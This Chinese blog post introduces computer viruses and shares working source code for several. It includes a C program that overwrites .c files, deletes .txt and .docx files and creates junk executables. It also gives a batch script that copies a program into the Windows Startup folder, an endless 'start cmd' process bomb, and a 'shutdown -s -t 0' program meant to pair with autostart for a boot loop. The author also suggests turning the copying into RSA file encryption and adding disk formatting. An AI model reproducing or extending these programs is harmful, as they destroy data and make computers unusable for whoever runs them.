这篇文章是突发奇想写的,因为最近突然对病毒产生了一些兴趣,因此特别写了这么一篇文章来纪念一下. 前面我会首先介绍一下什么是病毒,后面我会把一些病毒的源码发上来. 当然,我也不知道能不能称其为病毒,因此,大佬就当乐子看看就好.
按照讲课的一般惯例,首先需要百度一下关于病毒的基本知识.如图.
图中我们可以看出,病毒其实就是在计算机中插入的破坏计算机的恶意代码.我们姑且可以这么认为:只要是能破坏计算机正常运行的代码,都可以认为是病毒.因此,即使是用批处理脚本写一个删除文件的命令,我们都能认为是病毒,因为它对计算机造成了阻碍.
当然,上面都只是我自己的理解,也许想要称某个程序为病毒的话,可能还需要符合其他特点. 但是我认为这样理解是没有错的,因为就在写这篇文章之前,我偶然搜索到了一个"%0病毒".这个病毒特别的简单,只有一句话. 但是作用就是一直打开程序本身,最后使电脑死机.有兴趣的同学可以去csdn上面搜索一下这个病毒,挺有意思的.
正因为这么简单的代码都能称为病毒,因此我认为,我的理解应该是正确的.
不敢太猜测大佬的思维,只能说说自己对于一些病毒的自己的理解.
良性病毒:仅仅显示信息、奏乐、发出声响,自我复制的。除了传染时减少磁盘的可用空间外,对系统没有其它影响。 恶性病毒:封锁、干扰、中断输入输出、使用户无法打印等正常工作,甚至电脑中止运行。这类病毒在计算机系统操作中造成严重的错误。 极恶性病毒:死机、系统崩溃、删除普通程序或系统文件,破坏系统配置导致系统死机、崩溃、无法重启。 这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。 灾难性病毒:破坏分区表信息、主引导信息、FAT,删除数据文件,甚至格式化硬盘等。
第一个,良性病毒.简单来说,我们随手写一个程序,比如弹出一个helloword,我们也姑且认为是一个病毒,并且可以被叫做是良性病毒. 在后面我写了一个比较有意思的小程序,就可以称为良性病毒.
在说说第二个,恶性病毒.这类病毒就比较具有攻击性了,是可以对系统造成一定的威胁性的. 后面我写了两个病毒程序.效果是开启后让电脑陷入一直关机的状态. 另一个是开启以后,会在后台一直创建进程,直到死机. 都是两个比较简单的程序,但是效果比较明显.
最后一个我就不说了,因为这么nb的病毒我要是能写出来,我就不坐在这里打字了.
文件型病毒:一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。 混合型病毒:兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径。
这几点没啥好说的,只要识字的人知道啥意思.
这个我懒得打字了.直接上截图
要理解木马,病毒,漏洞是不同的三种东西.我一开始也并不知道这三种东西有什么区别,后来百度了才知道.
先说说木马.木马和病毒是不同的,不能认为是同一种东西. 木马主要是黑客用来对你的电脑留后门的,比如远程在你的电脑后台创建一个账户,这就是一种留后门的方法.
其次是病毒.这个就是对你的电脑造成破坏的程序了.比如之前很出名的勒索病毒,原理就是对文件进行一个加密. 这也是对文件的一种感染.只要你懂这个原理,甚至自己写一个加密文件的程序,都可以叫做"小菜鸡做的勒索病毒".(这种话只能说说看,你别真这么叫,因为真正的勒索病毒是很复杂的,利用了一个叫做永恒之蓝的漏洞)
最后一个就是漏洞,这个就是另外一种东西了.你的windows一直在更新,原因就是在修复很多漏洞.比如c语言程序里面就有一个漏洞叫做"数组越界". 这个漏洞产生的原因,就是因为最早发明c语言的时候,为了节省检查数组的内存,因此对数组的边界没有一个严格的限制,才产生了这个漏洞. 还有一个叫做缓冲区溢出的漏洞,这个漏洞被用的比较广泛,是很多黑客都会用使用的一个漏洞. (这个漏洞,说实话我感觉和数组越界的原理差不多.以前在做ctf里面的pwn题的时候明显能感觉到.)
这个病毒实现了一些基础的病毒该有的功能,比如感染文件,删除文件,制造垃圾文等作用,非常适合用来学习病毒. 当然,这个是借鉴了其他csdn大佬的程序,并不是我写的.
首先先说一下这个病毒的基本作用. 1.感染文件 病毒会将某个目录下的文件进行感染,下面两张图是感染前后的对比. 可以看到,文件内容发生了变化. 2.制造垃圾文件 程序运行以后,会在某个目录下生成一些系统的临时文件.这个病毒仅仅生成了一个. 这两种文件都是病毒程序生成的,只不过原理不同,一会儿我会讲怎么实现. 3.删除文件 顾名思义,删除某个目录下特定的文件,比如以.txt结尾的文件.
这个病毒是感染特定目录下的文件,因此需要提前创建一个目录,并且在这个目录下创建一些文件. 创建一个文件夹,我的文件夹是virus.然后在这个文件夹下创建两个文件,文件名如图.E_KILL.c是当病毒感染文件以后的文件内容. 在E_KILL.c文件中写入以下代码.
#include<stdio.h> #include<Windows.h> int main(void) { printf("It is virus\n"); system("pause"); return 0; }另一个viruse.c就是我们病毒的源码了.这个一会儿再说. 接着就是temp文件夹了,这个文件夹就是要被感染的目标文件夹,按照如图创建. s.txt和a.docx是两个空的文件,另外两个文件写入以下内容:
#include<stdio.h> #include<Windows.h> int main(void) { printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); printf("TEST\n"); system("pause"); return 0; }好了,准备工作就做完了,接下来就是讲解关于病毒源码的讲解了.
关于源码的讲解,我直接就以注释的方式写在代码里面了.好好看,好好学.
#include<stdio.h> #include<io.h> #include<Windows.h> #include<stdlib.h> #include<string.h> #include <direct.h> #define INFECT_PATH "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp" #define DELETE_FILE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.txt" #define DELETE_FILE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.docx" #define CREAT_EXE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\worm.exe" #define CREAT_EXE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\virus.exe" #define Targetfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.c" #define Virusfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\E_KILL.c" //使用了很多宏定义.这些都是后面会用得到的,需要改成你自己的文件路径,记得用两个斜杠做分隔符. void MakeRubbish(void); void CreatEXE(void); void Remove(void); void InfectFile(void); void copyfile(char* infile,char *outfile); //函数声明 void MakeRubbish(void) { int i=0; FILE *fp=NULL; char* path=NULL; char* NewName=NULL; char tempname[]="XXXXXX"; //这个是生成临时文件的文件名,几个×就代表几个随机字符. path=INFECT_PATH; if(!_chdir(path)) { printf("open DIR success\n"); } else { printf("open DIR failed\n"); perror("Error: "); } //_chdir函数用于改变当前工作目录,将当前工作目录改成了宏定义的目录 NewName=_mktemp(tempname); fp=fopen(NewName,"w"); fclose(fp); //创建临时文件 } void CreatEXE(void) { int i; char* s[2]={CREAT_EXE1,CREAT_EXE2}; for(i=0;i<2;i++) { open(s[i],0x0100,0x0080); //创建垃圾程序,open第二个参数是创建并且打开文件,第三个参数是写入的意思 copyfile(Virusfile,s[i]); //将开始那个E_KILL文件内容复制到新创建的exe文件当中. } } void Remove(void) { int done; int i; struct _finddata_t ffblk; char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; for (i = 0; i < 2; i++) { done = _findfirst(documenttype[i],&ffblk); if(done!=-1) { printf("delete %s\n",ffblk.name); remove(ffblk.name); while (!_findnext(done,&ffblk)) { printf("delete %s\n",ffblk.name); remove(ffblk.name); } } _findclose(done); } //这个原理比较简单,就是进行了一个查找,然后删除.就不赘述了. } void copyfile(char* infile,char* outfile) { FILE *in,*out; in=fopen(infile,"r"); out=fopen(outfile,"w"); while(!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out); } //感染文件子函数 void InfectFile(void) { int done; int i; struct _finddata_t ffblk; char *documenttype = Targetfile; done = _findfirst(documenttype,&ffblk); copyfile(Virusfile,ffblk.name); while (!_findnext(done,&ffblk)) { copyfile(Virusfile,ffblk.name); //感染 } _findclose(done); } //对文件进行感染,原理其实就是将病毒文件进行复制即可. /*This is a flag:end*/ int main(void) { MakeRubbish( ); CreatEXE( ); Remove( ); InfectFile( ); system("pause"); return 0; } //主程序运行的时候记得用管理员身份打开.
程序大概就是这样.其实很多病毒的雏形就是这个. 比如可以对这个源码进行修改,将一个死循环加到创建垃圾文件,那么效果就是一直创建垃圾文件,直到电脑内存被全部占满. 在比如,可以将单纯的复制文件改为对文件进行rsa加密,这样会比摧毁文件更让人头疼.
可以看到,文件夹中被创建了一个叫做a14192的临时文件,这个就是我们的功能之一. 接着打开e.c,可以看到文件已经变成了如图所示的内容. 由此可见,我们的文件已经被成功感染. 当然,这个病毒是非常简单的一种,你可以对功能进行一些扩充,比如写入注册表设置自启动,比如格式化某个硬盘…等等等等,这个就看你了.
姑且先叫做是病毒吧,因为也是对电脑造成了阻碍.我的靶机都是win2003,别的机器可能出不来效果.
这个名字是我突然想起来有个叫"永恒之蓝"的漏洞,于是我也给这个病毒起了个这个名字.先看看效果. 这个病毒运行以后,会一直在屏幕上刷新绿色的0和1. 怎么样?是不是看着比较有意思? 这个程序并没有什么危害性,调出任务管理器就可以关掉.不过我还在后面写了一个批处理脚本,代码如下:
@echo off copy virus_fake.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"这个脚本执行以后,会将病毒程序加载到启动项,每次开机都会运行这个程序. 当然,记得要把第二行copy后面的文件名改成你病毒程序的文件名才可以.
接下来就是病毒的源码.
#include <stdio.h> int main(){ system("color 0a"); //调用一个cmd命令,将文字颜色调成绿色,背景调成黑色 while(1){ printf("01011010101001010"); //使用一个死循环,循环在屏幕上打印0和1 } }如图,要将exe和bat放到一个位置. 如果直接运行程序,是只会在一个窗口执行. 我们还需要右键这个程序,然后设置属性和默认值为全屏才可以出现开始那个效果. 这就是第一个病毒程序,永恒之绿.就是一个花里胡哨的小程序,只能用来吓唬人,其实并没有什么太厉害的地方. 不过第二个就比较厉害了,会无止境的消耗系统资源.
运行结果如图: 此刻我的虚拟机已经死机了,只能重启. 这个病毒的原理就是一直在打开cmd界面,最后系统资源耗尽,然后死机.这次我打开性能监视器,如图. 短短几秒钟,进程就达到了500多个.如果在加上上面的那个开机自启动脚本,想想看,后果是不是很可怕? 直接上源码.
#include <stdio.h> int main(){ while(1) system("start cmd"); //我写了一个死循环,然后执行cmd命令.这个命令就是打开cmd窗口,为什么要加start呢?这个可以百度一下为什么. return 0; }代码很简单,但是效果还是很猛的.这个的原理和%0病毒是相似的.
这个名字是我看了盗墓笔记重启以后想到的,干脆就拿来用了. 重启是真的重启,运行以后会让电脑直接关机.如果配合上自启动脚本,效果就是开机就关机,开机就关机,开机就… 威力还是比较可观的.截图我就不上了,直接放代码.
#include <stdio.h> int main(){ system("shutdown -s -t 0"); //调用cmd命令,-s是关机的意思,-t 0 是设置0秒以后关机的意思 return 0; }首先,运行病毒1里面的自启动脚本(记得改文件名),然后关机,在开机,病毒就开始执行了.
最后这个病毒是威力最大的一个,因为你连机都开不了,谈何删除病毒? 当然,你可以进入安全模式进行删除,而那些不懂这些的人可就遭了殃了. 上面三个其实可以直接在病毒程序中添加自启动命令的,但是我的编译器一编译就会自动执行程序,因此我写成了两个,不然自己的病毒把自己感染了就出大事了.
上面发的三个病毒其实都是小打小闹,真正厉害的是一些比如熊猫烧香之类的病毒. 当然,那些大佬对于我来说都是目不可及的. 曾经有幸见过一个大佬写的"金猪报喜"病毒,原理和熊猫烧香类似,用的是c++写的.如果说以后有机会的话,我会写一个这样的病毒发上来给大家看看.
关于病毒的基本原理,大概就是这样.如果各位还有什么要补充的话可以放在评论区里. 上面的三个病毒只能算是特别小的病毒,一些更厉害的病毒可以去看看其他csdn大佬写的东西,比如隐藏进程之类的功能.就这样吧,不多说了.有兴趣可以加我qq:1392969921
